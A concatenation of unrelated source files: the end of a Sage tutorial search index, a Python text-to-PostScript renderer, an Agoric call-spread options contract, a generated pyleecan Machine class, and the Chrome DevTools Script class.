8,15],verific:[4,7,8,14,19],version:[0,2,4],versus:[0,10,12],vertic:7,vetor:[4,18,22],vetori:[4,8,20],vetorial:4,vez:[0,4,7,8,10,11,12,13,14,15,17,19,22],via:[0,5,7,21],view:7,viewing:7,vim:[4,8],vind:0,viol:14,visit:0,vist:[14,21],visualiz:[0,4,7,8,9,12,17,20],voc:[0,3,4,5,6,7,8,9,10,11,12,15,16,17,18,19,20,21,22],volt:[4,7,14],vontad:0,w:[4,8,12,18],wa:18,wall:[4,8,11],walltim:4,warning:9,was:4,washington:4,watkins:11,web:[0,2,7],weight:[4,11],weil:11,wer:9,wesley:2,what:4,wher:[4,7],which:[4,15],whil:[4,8],whitney:20,wik:2,will:[2,7],windows:[6,7],without:4,wordpress:8,work:7,works:4,world:8,writ:4,wrt:4,wsisyg:7,www:[0,2,7],x:[4,5,6,7,8,9,11,12,14,15,16,17,18,19,20,21,22],x_1:12,x_2:12,x_:12,xa:18,xdvi:7,xelatex:7,xemacs:4,xgcd:19,xmax:20,xmin:20,xor:0,xrang:8,xx:8,xy:[7,11,16,21],xypic:7,xyz:21,y:[4,5,6,7,8,11,12,14,15,18,20,21],y_:12,yellow:20,you:[7,8,9],your:9,yourself:9,z0:21,z1:21,z2:21,z:[7,12,14,15,16,19,20,21,22],zer:11,zero_vector:4,zet:[8,11],zeta6:11,zeta_:16,zeta_n:11,zeta_ord:11,znprimroot:5,zp:22,zz:[4,6,7,8,11,14,17,18,19,22]},titles:["Posfacio","Ap\u00eandice","Bibliografia","Bem-vindo ao Tutorial Sage!","A Linha de Comando Interativa","Interfaces","Introdu\u00e7\u00e3o","Sage, LaTeX e Companheiros","Programa\u00e7\u00e3o","Usando o SageTeX","Um passeio guiado","Um Pouco Mais de Matem\u00e1tica Avan\u00e7ada","\u00c1lgebra Elementar e C\u00e1lculo","Atribui\u00e7\u00e3o, Igualdade, e Aritm\u00e9tica","Fam\u00edlias, Convers\u00e3o e Coa\u00e7\u00e3o","Algumas Quest\u00f5es Frequentes sobre Fun\u00e7\u00f5es","Grupos Finitos, Grupos Abelianos","Obtendo ajuda","\u00c1lgebra Linear","Teoria de N\u00fameros","Gr\u00e1ficos","Polin\u00f4mios","An\u00e9is B\u00e1sicos"],titleterms:{"\u00e1dic":19,"\u00e1lgebr":[12,18],"\u00edndic":3,"alg\u00e9br":11,"an\u00e9":22,"ap\u00eandic":1,"aritm\u00e9t":[1,13],"atribui\u00e7\u00e3":13,"b\u00e1sic":[7,22],"bin\u00e1r":1,"c\u00e1lcul":12,"c\u00f3dig":[7,8],"coa\u00e7\u00e3":14,"convers\u00e3":14,"cria\u00e7\u00e3":7,"dicion\u00e1ri":8,"el\u00edpt":11,"equa\u00e7\u00f5":12,"exce\u00e7\u00f5":4,"fam\u00edl":14,"fun\u00e7\u00f5":[8,12,15,17],"gr\u00e1fic":20,"introdu\u00e7\u00e3":6,"long":6,"m\u00e9tod":12,"matem\u00e1t":11,"n\u00famer":19,"polin\u00f4mi":21,"pr\u00e9":0,"qu\u00ea":0,"quest\u00f5":15,"sa\u00edd":4,"sequ\u00eanc":8,"sess\u00e3":4,"sess\u00f5":4,"vari\u00e1vel":21,A:4,Comando:4,Como:0,De:21,Eu:0,Mais:[11,21],O:0,Por:0,Sua:4,Um:[10,11],Uma:[7,21],abelian:16,abrind:4,acess:8,ajud:[4,17],algum:[0,15],anex:8,arquiv:8,avanc:11,bem:3,bibliograf:2,bidimension:20,busc:4,c:8,caract:11,carreg:[4,8],categor:14,col:4,comand:4,combinatori:7,companheir:7,compar:8,compil:8,complet:[4,7],conjunt:8,contag:17,contribu:0,control:8,cri:8,curv:11,dad:[4,8],dic:4,diferenc:[0,12],dirichlet:11,element:[12,14],entrad:4,enunc:8,erros:4,espac:18,espars:18,espec:12,etc:12,eul:12,exat:12,exempl:7,extern:7,fac:0,finit:16,form:[0,6,11],frequent:15,gap:5,geometr:11,geral:7,gost:0,gp:5,graf:7,graph:7,grav:4,grup:16,gui:10,ignor:4,igualdad:13,independent:8,individu:4,instal:[6,7],integr:[4,12],inter:4,interfac:5,ipython:4,iter:8,lac:8,latex:7,lin:18,linh:4,list:8,matriz:18,maxim:5,modul:11,numer:12,objet:[4,6],obtend:17,oper:1,otimiz:8,outr:4,p:19,panoram:7,par:[4,5,12],parent:14,passei:10,personaliz:7,posfaci:0,poss:0,pouc:11,praz:6,precedent:1,process:[0,7],profiling:8,program:[7,8],prompts:4,python:[0,8],referent:0,resolv:12,revers:4,sag:[0,3,4,6,7,8],sagetex:9,salv:4,scripts:8,separ:8,singul:5,sistem:[4,12],sobr:15,tab:4,tabel:3,tabul:17,temp:4,teor:19,tex:7,text:4,tip:[8,14],tkz:7,tridimension:20,tupl:8,tutorial:3,usand:9,usar:6,uso:7,vantagens:0,versus:14,vind:3}})
|
import os
import subprocess
import tkinter
filename_noext = input(']>> ')
filename_text = filename_noext.replace('.txt', '')
filename_text = filename_noext + '.txt'
filename_ghost = filename_noext + '_render.ps'
filea = open(filename_text, 'r')
lines = filea.read()
lines_split = lines.split('\n')
lines_height = len(lines_split)
lines_width = len(lines_split[0])
print('%d x %d' % (lines_width, lines_height))
lines_height *= 17
lines_width *= 7
filea.close()
t = tkinter.Tk()
c = tkinter.Canvas(t, width=lines_width, height=lines_height)
c.pack()
c.create_text(0, 0, text=lines, anchor="nw", font=("Courier New", 12))
print('Writing Postscript')
c.postscript(file=filename_ghost, width=lines_width, height=lines_height)
t.destroy()
print('Writing PNG')
subprocess.Popen('PNGCREATOR.bat', shell=True, cwd=os.getcwd())
|
// @ts-check
import '../../exported';
import { assert, details } from '@agoric/assert';
import { makePromiseKit } from '@agoric/promise-kit';
import { E } from '@agoric/eventual-send';
import {
assertProposalShape,
depositToSeat,
natSafeMath,
trade,
assertUsesNatMath,
} from '../contractSupport';
const { subtract, multiply, floorDivide } = natSafeMath;
/**
* This contract implements a fully collateralized call spread. This is a
* combination of a call option bought at one strike price and a second call
* option sold at a higher price. The invitations are produced in pairs, and the
* purchaser pays the entire amount that will be paid out. The individual
* options are ERTP invitations that are suitable for resale.
*
* This option is settled financially. There is no requirement that the original
* purchaser have ownership of the underlying asset at the start, and the
* beneficiaries shouldn't expect to take delivery at closing.
*
* The issuerKeywordRecord specifies the issuers for four keywords: Underlying,
* Strike, and Collateral. The payout is in Collateral. Strike amounts are used
* for the price oracle's quotes as to the value of the Underlying, as well as
* the strike prices in the terms. The terms include { timer, underlyingAmount,
* expiration, priceAuthority, strikePrice1, strikePrice2, settlementAmount }.
* The timer must be recognized by the priceAuthority. expiration is a time
* recognized by the timer. underlyingAmount is passed to the priceAuthority,
* so it could be an NFT or a fungible amount. strikePrice2 must be greater than
* strikePrice1. settlementAmount uses Collateral.
*
* The creatorInvitation has customProperties that include the amounts of the
* two options as longAmount and shortAmount. When the creatorInvitation is
* exercised, the payout includes the two option positions, which are themselves
* invitations which can be exercised for free, and provide the option payouts
* with the keyword Collateral.
*
* Future enhancements:
* + issue multiple option pairs with the same expiration from a single instance
* + create separate invitations to purchase the pieces of the option pair.
* (This would remove the current requirement that an intermediary have the
* total collateral available before the option descriptions have been
* created.)
* + increase the precision of the calculations. (change PERCENT_BASE to 10000)
*/
/**
* Constants for long and short positions.
*
* @type {{ LONG: 'long', SHORT: 'short' }}
*/
const Position = {
LONG: 'long',
SHORT: 'short',
};
const PERCENT_BASE = 100;
const inverse = percent => subtract(PERCENT_BASE, percent);
/**
* calculate the portion (as a percentage) of the collateral that should be
* allocated to the long side.
*
* @param {AmountMath} strikeMath the math to use
* @param {Amount} price the value of the underlying asset at closing that
* determines the payouts to the parties
* @param {Amount} strikePrice1 the lower strike price
* @param {Amount} strikePrice2 the upper strike price
*
* if price <= strikePrice1, return 0
* if price >= strikePrice2, return 100.
* Otherwise return a number between 1 and 99 reflecting the position of price
* in the range from strikePrice1 to strikePrice2.
*/
function calculateLongShare(strikeMath, price, strikePrice1, strikePrice2) {
if (strikeMath.isGTE(strikePrice1, price)) {
return 0;
} else if (strikeMath.isGTE(price, strikePrice2)) {
return PERCENT_BASE;
}
const denominator = strikeMath.subtract(strikePrice2, strikePrice1).value;
const numerator = strikeMath.subtract(price, strikePrice1).value;
return floorDivide(multiply(PERCENT_BASE, numerator), denominator);
}
/**
* @type {ContractStartFn}
*/
const start = zcf => {
// terms: underlyingAmount, priceAuthority, strikePrice1, strikePrice2,
// settlementAmount, expiration, timer
const terms = zcf.getTerms();
const {
maths: { Collateral: collateralMath, Strike: strikeMath, Quote: quoteMath },
brands: { Strike: strikeBrand },
} = terms;
assertUsesNatMath(zcf, collateralMath.getBrand());
assertUsesNatMath(zcf, strikeMath.getBrand());
// notice that we don't assert that the Underlying is fungible.
assert(
strikeMath.isGTE(terms.strikePrice2, terms.strikePrice1),
details`strikePrice2 must be greater than strikePrice1`,
);
zcf.saveIssuer(zcf.getInvitationIssuer(), 'Options');
// Create the two options immediately and allocate them to this seat.
const { zcfSeat: collateralSeat } = zcf.makeEmptySeatKit();
// Since the seats for the payout of the settlement aren't created until the
// invitations for the options themselves are exercised, we don't have those
// seats at the time of creation of the options, so we use Promises, and
// allocate the payouts when those promises resolve.
const seatPromiseKits = {};
seatPromiseKits[Position.LONG] = makePromiseKit();
seatPromiseKits[Position.SHORT] = makePromiseKit();
let seatsExited = 0;
function reallocateToSeat(position, sharePercent) {
seatPromiseKits[position].promise.then(seat => {
const totalCollateral = terms.settlementAmount;
const collateralShare = floorDivide(
multiply(totalCollateral.value, sharePercent),
PERCENT_BASE,
);
const seatPortion = collateralMath.make(collateralShare);
trade(
zcf,
{ seat, gains: { Collateral: seatPortion } },
{ seat: collateralSeat, gains: {} },
);
seat.exit();
seatsExited += 1;
const remainder = collateralSeat.getAmountAllocated('Collateral');
if (collateralMath.isEmpty(remainder) && seatsExited === 2) {
zcf.shutdown('contract has been settled');
}
});
}
function payoffOptions(priceQuoteAmount) {
const { amountOut } = quoteMath.getValue(priceQuoteAmount)[0];
const strike1 = terms.strikePrice1;
const strike2 = terms.strikePrice2;
const longShare = calculateLongShare(
strikeMath,
amountOut,
strike1,
strike2,
);
// either offer might be exercised late, so we pay the two seats separately.
reallocateToSeat(Position.LONG, longShare);
reallocateToSeat(Position.SHORT, inverse(longShare));
}
function schedulePayoffs() {
E(terms.priceAuthority)
.quoteAtTime(terms.expiration, terms.underlyingAmount, strikeBrand)
.then(priceQuote => payoffOptions(priceQuote.quoteAmount));
}
function makeOptionInvitation(dir) {
// All we do at time of exercise is resolve the promise.
return zcf.makeInvitation(
seat => seatPromiseKits[dir].resolve(seat),
`collect ${dir} payout`,
{ position: dir },
);
}
async function makeCreatorInvitation() {
const pair = {
LongOption: makeOptionInvitation(Position.LONG),
ShortOption: makeOptionInvitation(Position.SHORT),
};
const invitationIssuer = zcf.getInvitationIssuer();
const longAmount = await E(invitationIssuer).getAmountOf(pair.LongOption);
const shortAmount = await E(invitationIssuer).getAmountOf(pair.ShortOption);
const amounts = { LongOption: longAmount, ShortOption: shortAmount };
await depositToSeat(zcf, collateralSeat, amounts, pair);
// transfer collateral from creator to collateralSeat, then return a pair
// of callSpread options
/** @type {OfferHandler} */
const createOptionsHandler = creatorSeat => {
assertProposalShape(creatorSeat, {
give: { Collateral: null },
want: { LongOption: null, ShortOption: null },
});
trade(
zcf,
{
seat: collateralSeat,
gains: { Collateral: terms.settlementAmount },
},
{
seat: creatorSeat,
gains: { LongOption: longAmount, ShortOption: shortAmount },
},
);
schedulePayoffs();
creatorSeat.exit();
};
const custom = harden({
longAmount,
shortAmount,
});
return zcf.makeInvitation(createOptionsHandler, `call spread pair`, custom);
}
return harden({ creatorInvitation: makeCreatorInvitation() });
};
harden(start);
export { start, calculateLongShare };
|
# -*- coding: utf-8 -*-
"""File generated according to pyleecan/Generator/ClassesRef/Machine/Machine.csv
WARNING! All changes made in this file will be lost!
"""
from os import linesep
from logging import getLogger
from ._check import check_var, raise_
from ..Functions.get_logger import get_logger
from ..Functions.save import save
from ._frozen import FrozenClass
# Import all class method
# Try/catch to remove unnecessary dependencies in unused method
try:
from ..Methods.Machine.Machine.build_geometry import build_geometry
except ImportError as error:
build_geometry = error
try:
from ..Methods.Machine.Machine.check import check
except ImportError as error:
check = error
try:
from ..Methods.Machine.Machine.comp_masses import comp_masses
except ImportError as error:
comp_masses = error
try:
from ..Methods.Machine.Machine.comp_width_airgap_mag import comp_width_airgap_mag
except ImportError as error:
comp_width_airgap_mag = error
try:
from ..Methods.Machine.Machine.comp_width_airgap_mec import comp_width_airgap_mec
except ImportError as error:
comp_width_airgap_mec = error
try:
from ..Methods.Machine.Machine.get_lamination import get_lamination
except ImportError as error:
get_lamination = error
try:
from ..Methods.Machine.Machine.comp_Rgap_mec import comp_Rgap_mec
except ImportError as error:
comp_Rgap_mec = error
try:
from ..Methods.Machine.Machine.plot import plot
except ImportError as error:
plot = error
try:
from ..Methods.Machine.Machine.comp_output_geo import comp_output_geo
except ImportError as error:
comp_output_geo = error
try:
from ..Methods.Machine.Machine.comp_length_airgap_active import (
comp_length_airgap_active,
)
except ImportError as error:
comp_length_airgap_active = error
try:
from ..Methods.Machine.Machine.get_polar_eq import get_polar_eq
except ImportError as error:
get_polar_eq = error
try:
from ..Methods.Machine.Machine.plot_anim_rotor import plot_anim_rotor
except ImportError as error:
plot_anim_rotor = error
from ._check import InitUnKnowClassError
from .Frame import Frame
from .Shaft import Shaft
class Machine(FrozenClass):
"""Abstract class for machines"""
VERSION = 1
# Check ImportError to remove unnecessary dependencies in unused method
# cf Methods.Machine.Machine.build_geometry
if isinstance(build_geometry, ImportError):
build_geometry = property(
fget=lambda x: raise_(
ImportError(
"Can't use Machine method build_geometry: " + str(build_geometry)
)
)
)
else:
build_geometry = build_geometry
# cf Methods.Machine.Machine.check
if isinstance(check, ImportError):
check = property(
fget=lambda x: raise_(
ImportError("Can't use Machine method check: " + str(check))
)
)
else:
check = check
# cf Methods.Machine.Machine.comp_masses
if isinstance(comp_masses, ImportError):
comp_masses = property(
fget=lambda x: raise_(
ImportError("Can't use Machine method comp_masses: " + str(comp_masses))
)
)
else:
comp_masses = comp_masses
# cf Methods.Machine.Machine.comp_width_airgap_mag
if isinstance(comp_width_airgap_mag, ImportError):
comp_width_airgap_mag = property(
fget=lambda x: raise_(
ImportError(
"Can't use Machine method comp_width_airgap_mag: "
+ str(comp_width_airgap_mag)
)
)
)
else:
comp_width_airgap_mag = comp_width_airgap_mag
# cf Methods.Machine.Machine.comp_width_airgap_mec
if isinstance(comp_width_airgap_mec, ImportError):
comp_width_airgap_mec = property(
fget=lambda x: raise_(
ImportError(
"Can't use Machine method comp_width_airgap_mec: "
+ str(comp_width_airgap_mec)
)
)
)
else:
comp_width_airgap_mec = comp_width_airgap_mec
# cf Methods.Machine.Machine.get_lamination
if isinstance(get_lamination, ImportError):
get_lamination = property(
fget=lambda x: raise_(
ImportError(
"Can't use Machine method get_lamination: " + str(get_lamination)
)
)
)
else:
get_lamination = get_lamination
# cf Methods.Machine.Machine.comp_Rgap_mec
if isinstance(comp_Rgap_mec, ImportError):
comp_Rgap_mec = property(
fget=lambda x: raise_(
ImportError(
"Can't use Machine method comp_Rgap_mec: " + str(comp_Rgap_mec)
)
)
)
else:
comp_Rgap_mec = comp_Rgap_mec
# cf Methods.Machine.Machine.plot
if isinstance(plot, ImportError):
plot = property(
fget=lambda x: raise_(
ImportError("Can't use Machine method plot: " + str(plot))
)
)
else:
plot = plot
# cf Methods.Machine.Machine.comp_output_geo
if isinstance(comp_output_geo, ImportError):
comp_output_geo = property(
fget=lambda x: raise_(
ImportError(
"Can't use Machine method comp_output_geo: " + str(comp_output_geo)
)
)
)
else:
comp_output_geo = comp_output_geo
# cf Methods.Machine.Machine.comp_length_airgap_active
if isinstance(comp_length_airgap_active, ImportError):
comp_length_airgap_active = property(
fget=lambda x: raise_(
ImportError(
"Can't use Machine method comp_length_airgap_active: "
+ str(comp_length_airgap_active)
)
)
)
else:
comp_length_airgap_active = comp_length_airgap_active
# cf Methods.Machine.Machine.get_polar_eq
if isinstance(get_polar_eq, ImportError):
get_polar_eq = property(
fget=lambda x: raise_(
ImportError(
"Can't use Machine method get_polar_eq: " + str(get_polar_eq)
)
)
)
else:
get_polar_eq = get_polar_eq
# cf Methods.Machine.Machine.plot_anim_rotor
if isinstance(plot_anim_rotor, ImportError):
plot_anim_rotor = property(
fget=lambda x: raise_(
ImportError(
"Can't use Machine method plot_anim_rotor: " + str(plot_anim_rotor)
)
)
)
else:
plot_anim_rotor = plot_anim_rotor
# save method is available in all object
save = save
# get_logger method is available in all object
get_logger = get_logger
def __init__(
self,
frame=-1,
shaft=-1,
name="default_machine",
desc="",
type_machine=1,
logger_name="Pyleecan.Machine",
init_dict=None,
):
"""Constructor of the class. Can be use in two ways :
- __init__ (arg1 = 1, arg3 = 5) every parameters have name and default values
for Matrix, None will initialise the property with an empty Matrix
for pyleecan type, None will call the default constructor
- __init__ (init_dict = d) d must be a dictionnary wiht every properties as keys
ndarray or list can be given for Vector and Matrix
object or dict can be given for pyleecan Object"""
if frame == -1:
frame = Frame()
if shaft == -1:
shaft = Shaft()
if init_dict is not None: # Initialisation by dict
assert type(init_dict) is dict
# Overwrite default value with init_dict content
if "frame" in list(init_dict.keys()):
frame = init_dict["frame"]
if "shaft" in list(init_dict.keys()):
shaft = init_dict["shaft"]
if "name" in list(init_dict.keys()):
name = init_dict["name"]
if "desc" in list(init_dict.keys()):
desc = init_dict["desc"]
if "type_machine" in list(init_dict.keys()):
type_machine = init_dict["type_machine"]
if "logger_name" in list(init_dict.keys()):
logger_name = init_dict["logger_name"]
# Initialisation by argument
self.parent = None
# frame can be None, a Frame object or a dict
if isinstance(frame, dict):
self.frame = Frame(init_dict=frame)
else:
self.frame = frame
# shaft can be None, a Shaft object or a dict
if isinstance(shaft, dict):
self.shaft = Shaft(init_dict=shaft)
else:
self.shaft = shaft
self.name = name
self.desc = desc
self.type_machine = type_machine
self.logger_name = logger_name
# The class is frozen, for now it's impossible to add new properties
self._freeze()
def __str__(self):
"""Convert this objet in a readeable string (for print)"""
Machine_str = ""
if self.parent is None:
Machine_str += "parent = None " + linesep
else:
Machine_str += "parent = " + str(type(self.parent)) + " object" + linesep
if self.frame is not None:
tmp = self.frame.__str__().replace(linesep, linesep + "\t").rstrip("\t")
Machine_str += "frame = " + tmp
else:
Machine_str += "frame = None" + linesep + linesep
if self.shaft is not None:
tmp = self.shaft.__str__().replace(linesep, linesep + "\t").rstrip("\t")
Machine_str += "shaft = " + tmp
else:
Machine_str += "shaft = None" + linesep + linesep
Machine_str += 'name = "' + str(self.name) + '"' + linesep
Machine_str += 'desc = "' + str(self.desc) + '"' + linesep
Machine_str += "type_machine = " + str(self.type_machine) + linesep
Machine_str += 'logger_name = "' + str(self.logger_name) + '"' + linesep
return Machine_str
def __eq__(self, other):
"""Compare two objects (skip parent)"""
if type(other) != type(self):
return False
if other.frame != self.frame:
return False
if other.shaft != self.shaft:
return False
if other.name != self.name:
return False
if other.desc != self.desc:
return False
if other.type_machine != self.type_machine:
return False
if other.logger_name != self.logger_name:
return False
return True
def as_dict(self):
"""Convert this objet in a json seriable dict (can be use in __init__)
"""
Machine_dict = dict()
if self.frame is None:
Machine_dict["frame"] = None
else:
Machine_dict["frame"] = self.frame.as_dict()
if self.shaft is None:
Machine_dict["shaft"] = None
else:
Machine_dict["shaft"] = self.shaft.as_dict()
Machine_dict["name"] = self.name
Machine_dict["desc"] = self.desc
Machine_dict["type_machine"] = self.type_machine
Machine_dict["logger_name"] = self.logger_name
# The class name is added to the dict fordeserialisation purpose
Machine_dict["__class__"] = "Machine"
return Machine_dict
def _set_None(self):
"""Set all the properties to None (except pyleecan object)"""
if self.frame is not None:
self.frame._set_None()
if self.shaft is not None:
self.shaft._set_None()
self.name = None
self.desc = None
self.type_machine = None
self.logger_name = None
def _get_frame(self):
"""getter of frame"""
return self._frame
def _set_frame(self, value):
"""setter of frame"""
check_var("frame", value, "Frame")
self._frame = value
if self._frame is not None:
self._frame.parent = self
# Machine's Frame
# Type : Frame
frame = property(fget=_get_frame, fset=_set_frame, doc=u"""Machine's Frame""")
def _get_shaft(self):
"""getter of shaft"""
return self._shaft
def _set_shaft(self, value):
"""setter of shaft"""
check_var("shaft", value, "Shaft")
self._shaft = value
if self._shaft is not None:
self._shaft.parent = self
# Machine's Shaft
# Type : Shaft
shaft = property(fget=_get_shaft, fset=_set_shaft, doc=u"""Machine's Shaft""")
def _get_name(self):
"""getter of name"""
return self._name
def _set_name(self, value):
"""setter of name"""
check_var("name", value, "str")
self._name = value
# Name of the machine
# Type : str
name = property(fget=_get_name, fset=_set_name, doc=u"""Name of the machine""")
def _get_desc(self):
"""getter of desc"""
return self._desc
def _set_desc(self, value):
"""setter of desc"""
check_var("desc", value, "str")
self._desc = value
# Machine description
# Type : str
desc = property(fget=_get_desc, fset=_set_desc, doc=u"""Machine description""")
def _get_type_machine(self):
"""getter of type_machine"""
return self._type_machine
def _set_type_machine(self, value):
"""setter of type_machine"""
check_var("type_machine", value, "int")
self._type_machine = value
# Integer to store the machine type (for the GUI, should be replaced by a test of the object type)
# Type : int
type_machine = property(
fget=_get_type_machine,
fset=_set_type_machine,
doc=u"""Integer to store the machine type (for the GUI, should be replaced by a test of the object type)""",
)
def _get_logger_name(self):
"""getter of logger_name"""
return self._logger_name
def _set_logger_name(self, value):
"""setter of logger_name"""
check_var("logger_name", value, "str")
self._logger_name = value
# Name of the logger to use
# Type : str
logger_name = property(
fget=_get_logger_name,
fset=_set_logger_name,
doc=u"""Name of the logger to use""",
)
|
/*
* Copyright (C) 2008 Apple Inc. All Rights Reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* THIS SOFTWARE IS PROVIDED BY APPLE INC. ``AS IS'' AND ANY
* EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
* PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL APPLE INC. OR
* CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
* EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
* PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
* PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY
* OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
* OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
/**
* @implements {Common.ContentProvider}
* @unrestricted
*/
export default class Script {
/**
* @param {!SDK.DebuggerModel} debuggerModel
* @param {string} scriptId
* @param {string} sourceURL
* @param {number} startLine
* @param {number} startColumn
* @param {number} endLine
* @param {number} endColumn
* @param {!Protocol.Runtime.ExecutionContextId} executionContextId
* @param {string} hash
* @param {boolean} isContentScript
* @param {boolean} isLiveEdit
* @param {string|undefined} sourceMapURL
* @param {boolean} hasSourceURL
* @param {number} length
* @param {?Protocol.Runtime.StackTrace} originStackTrace
*/
constructor(
debuggerModel, scriptId, sourceURL, startLine, startColumn, endLine, endColumn, executionContextId, hash,
isContentScript, isLiveEdit, sourceMapURL, hasSourceURL, length, originStackTrace) {
this.debuggerModel = debuggerModel;
this.scriptId = scriptId;
this.sourceURL = sourceURL;
this.lineOffset = startLine;
this.columnOffset = startColumn;
this.endLine = endLine;
this.endColumn = endColumn;
this.executionContextId = executionContextId;
this.hash = hash;
this._isContentScript = isContentScript;
this._isLiveEdit = isLiveEdit;
this.sourceMapURL = sourceMapURL;
this.hasSourceURL = hasSourceURL;
this.contentLength = length;
this._originalContentProvider = null;
this._originalSource = null;
this.originStackTrace = originStackTrace;
}
/**
* @param {string} source
* @return {string}
*/
static _trimSourceURLComment(source) {
let sourceURLIndex = source.lastIndexOf('//# sourceURL=');
if (sourceURLIndex === -1) {
sourceURLIndex = source.lastIndexOf('//@ sourceURL=');
if (sourceURLIndex === -1) {
return source;
}
}
const sourceURLLineIndex = source.lastIndexOf('\n', sourceURLIndex);
if (sourceURLLineIndex === -1) {
return source;
}
const sourceURLLine = source.substr(sourceURLLineIndex + 1);
if (!sourceURLLine.match(sourceURLRegex)) {
return source;
}
return source.substr(0, sourceURLLineIndex);
}
/**
* @return {boolean}
*/
isContentScript() {
return this._isContentScript;
}
/**
* @return {?SDK.ExecutionContext}
*/
executionContext() {
return this.debuggerModel.runtimeModel().executionContext(this.executionContextId);
}
/**
* @return {boolean}
*/
isLiveEdit() {
return this._isLiveEdit;
}
/**
* @override
* @return {string}
*/
contentURL() {
return this.sourceURL;
}
/**
* @override
* @return {!Common.ResourceType}
*/
contentType() {
return Common.resourceTypes.Script;
}
/**
* @override
* @return {!Promise<boolean>}
*/
contentEncoded() {
return Promise.resolve(false);
}
/**
* @override
* @return {!Promise<!Common.DeferredContent>}
*/
async requestContent() {
if (this._source) {
return {content: this._source, isEncoded: false};
}
if (!this.scriptId) {
return {error: ls`Script removed or deleted.`, isEncoded: false};
}
try {
const source = await this.debuggerModel.target().debuggerAgent().getScriptSource(this.scriptId);
if (source && this.hasSourceURL) {
this._source = SDK.Script._trimSourceURLComment(source);
} else {
this._source = source || '';
}
if (this._originalSource === null) {
this._originalSource = this._source;
}
return {content: this._source, isEncoded: false};
} catch (err) {
return {error: ls`Unable to fetch script source.`, isEncoded: false};
}
}
/**
* @return {!Promise<!ArrayBuffer>}
*/
async getWasmBytecode() {
const base64 = await this.debuggerModel.target().debuggerAgent().getWasmBytecode(this.scriptId);
const response = await fetch(`data:application/wasm;base64,${base64}`);
return response.arrayBuffer();
}
/**
* @return {!Common.ContentProvider}
*/
originalContentProvider() {
if (!this._originalContentProvider) {
const lazyContent = () => this.requestContent().then(() => {
return {
content: this._originalSource,
isEncoded: false,
};
});
this._originalContentProvider =
new Common.StaticContentProvider(this.contentURL(), this.contentType(), lazyContent);
}
return this._originalContentProvider;
}
/**
* @override
* @param {string} query
* @param {boolean} caseSensitive
* @param {boolean} isRegex
* @return {!Promise<!Array<!Common.ContentProvider.SearchMatch>>}
*/
async searchInContent(query, caseSensitive, isRegex) {
if (!this.scriptId) {
return [];
}
const matches =
await this.debuggerModel.target().debuggerAgent().searchInContent(this.scriptId, query, caseSensitive, isRegex);
return (matches || []).map(match => new Common.ContentProvider.SearchMatch(match.lineNumber, match.lineContent));
}
/**
* @param {string} source
* @return {string}
*/
_appendSourceURLCommentIfNeeded(source) {
if (!this.hasSourceURL) {
return source;
}
return source + '\n //# sourceURL=' + this.sourceURL;
}
/**
* @param {string} newSource
* @param {function(?Protocol.Error, !Protocol.Runtime.ExceptionDetails=, !Array.<!Protocol.Debugger.CallFrame>=, !Protocol.Runtime.StackTrace=, !Protocol.Runtime.StackTraceId=, boolean=)} callback
*/
async editSource(newSource, callback) {
newSource = Script._trimSourceURLComment(newSource);
// We append correct sourceURL to script for consistency only. It's not actually needed for things to work correctly.
newSource = this._appendSourceURLCommentIfNeeded(newSource);
if (!this.scriptId) {
callback('Script failed to parse');
return;
}
await this.requestContent();
if (this._source === newSource) {
callback(null);
return;
}
const response = await this.debuggerModel.target().debuggerAgent().invoke_setScriptSource(
{scriptId: this.scriptId, scriptSource: newSource});
if (!response[Protocol.Error] && !response.exceptionDetails) {
this._source = newSource;
}
const needsStepIn = !!response.stackChanged;
callback(
response[Protocol.Error], response.exceptionDetails, response.callFrames, response.asyncStackTrace,
response.asyncStackTraceId, needsStepIn);
}
/**
* @param {number} lineNumber
* @param {number=} columnNumber
* @return {?SDK.DebuggerModel.Location}
*/
rawLocation(lineNumber, columnNumber) {
if (this.containsLocation(lineNumber, columnNumber)) {
return new SDK.DebuggerModel.Location(this.debuggerModel, this.scriptId, lineNumber, columnNumber);
}
return null;
}
/**
*
* @param {!SDK.DebuggerModel.Location} location
* @return {!Array.<number>}
*/
toRelativeLocation(location) {
console.assert(
location.scriptId === this.scriptId, '`toRelativeLocation` must be used with location of the same script');
const relativeLineNumber = location.lineNumber - this.lineOffset;
const relativeColumnNumber = (location.columnNumber || 0) - (relativeLineNumber === 0 ? this.columnOffset : 0);
return [relativeLineNumber, relativeColumnNumber];
}
/**
* @return {boolean}
*/
isInlineScript() {
const startsAtZero = !this.lineOffset && !this.columnOffset;
return !!this.sourceURL && !startsAtZero;
}
/**
* @return {boolean}
*/
isAnonymousScript() {
return !this.sourceURL;
}
/**
* @return {boolean}
*/
isInlineScriptWithSourceURL() {
return !!this.hasSourceURL && this.isInlineScript();
}
/**
* @param {!Array<!Protocol.Debugger.ScriptPosition>} positions
* @return {!Promise<boolean>}
*/
async setBlackboxedRanges(positions) {
const response = await this.debuggerModel.target().debuggerAgent().invoke_setBlackboxedRanges(
{scriptId: this.scriptId, positions});
return !response[Protocol.Error];
}
containsLocation(lineNumber, columnNumber) {
const afterStart =
(lineNumber === this.lineOffset && columnNumber >= this.columnOffset) || lineNumber > this.lineOffset;
const beforeEnd = lineNumber < this.endLine || (lineNumber === this.endLine && columnNumber <= this.endColumn);
return afterStart && beforeEnd;
}
}
export const sourceURLRegex = /^[\040\t]*\/\/[@#] sourceURL=\s*(\S*?)\s*$/;
/* Legacy exported object */
self.SDK = self.SDK || {};
/* Legacy exported object */
SDK = SDK || {};
